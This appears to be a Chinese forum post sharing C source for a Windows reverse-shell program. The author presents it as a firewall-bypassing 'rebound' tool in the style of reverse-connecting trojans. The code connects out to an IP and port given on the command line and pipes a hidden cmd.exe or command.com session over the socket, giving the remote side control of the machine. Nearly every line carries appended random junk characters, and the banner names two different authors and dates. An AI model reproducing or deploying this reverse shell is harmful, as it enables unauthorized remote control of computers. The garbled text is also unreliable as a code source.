这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -}|L<~
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/* ============================== >8>!wi9U
Rebound port in Windows NT iM)K:L7d
By wind,2006/7 =GPXuo
===============================*/ 3k`Q]O=OU
#include LV^^Bd8Ct
#include v$|~
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); IMH4GVr"
SOCKET sClient; $Es\ld
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K8;SE!
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void main(int argc,char **argv) 3R+%C* 7
{ .ybmJU*Hg
WSADATA stWsaData; w`)5(~b
int nRet; W2
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SOCKADDR_IN stSaiClient,stSaiServer; nn_O"fZi
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if(argc != 3) wtY)(ka
{ #1DEZ4]jjY
printf("Useage:\n\rRebound DestIP DestPort\n"); e0zP LU}
return; Z8#nu
} 7~e,"^>T
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WSAStartup(MAKEWORD(2,2),&stWsaData); w\bwa!3Y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^v'kEsE^*
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stSaiClient.sin_family = AF_INET; 4XjwU`
stSaiClient.sin_port = htons(0); 9|1msg4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q)DEcx-|,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .N X9Ab
{ G%
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printf("Bind Socket Failed!\n"); $[>{s9E
return; ,a?)O6?/
} gjDNl/r/
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stSaiServer.sin_family = AF_INET; eiKY az
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'Qy6m'esW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A@}5'LzL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vp/XVyL}R
{ i%K6<1R;y{
printf("Connect Error!"); IzpE|8l
return; EZ)b E9
} An.
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OutputShell(); K%v:giN$l`
} D$hQ-K
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void OutputShell() )D+BvJ Y"
{ $ZM'dIk?
char szBuff[1024]; #n>U7j9`O
SECURITY_ATTRIBUTES stSecurityAttributes; 4z0gyCAC A
OSVERSIONINFO stOsversionInfo; .l1x~(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?+t;\
STARTUPINFO stStartupInfo; [ohLG_9
char *szShell; FS1\`#Bm)
PROCESS_INFORMATION stProcessInformation; |>;PV4])(
unsigned long lBytesRead; U>2KjZB
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Nk7y2[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q<&1,^A
stSecurityAttributes.lpSecurityDescriptor = 0; hIe .Mv-I)
stSecurityAttributes.bInheritHandle = TRUE; k&$ov
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d%7?913
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); COh#/-`\1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !mlfG"FE
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hVzyvpw
stStartupInfo.wShowWindow = SW_HIDE; L7rgkxI7k*
stStartupInfo.hStdInput = hReadPipe; ZmsYRk~@-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1Wpu
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GetVersionEx(&stOsversionInfo); \zBi-GI7
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switch(stOsversionInfo.dwPlatformId) `UsJaoR#f
{ I3Vu/&8f|
case 1: %1i:*~g
szShell = "command.com"; cq
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break; 'nTlCYT
default: N~!,
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szShell = "cmd.exe"; t"VT['8
break; hEZvi
} ]?y~;-^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); XoKgs, y4
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send(sClient,szMsg,77,0); Y#F.{i
while(1) [MIgQ.n
{ cY5&1Shb~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PuNL%D
if(lBytesRead) X:W\EeH
{ ; J W]b]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )E9!m
send(sClient,szBuff,lBytesRead,0); 2.v{W-D[
} AU9C#;JD
else jEBn"]\D
{ oMbd1uus
lBytesRead=recv(sClient,szBuff,1024,0); : s
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if(lBytesRead<=0) break; #/YS
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kLgkUck8]
} T?1BcY
} aO1^>hy
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return; 4/(#masIL
}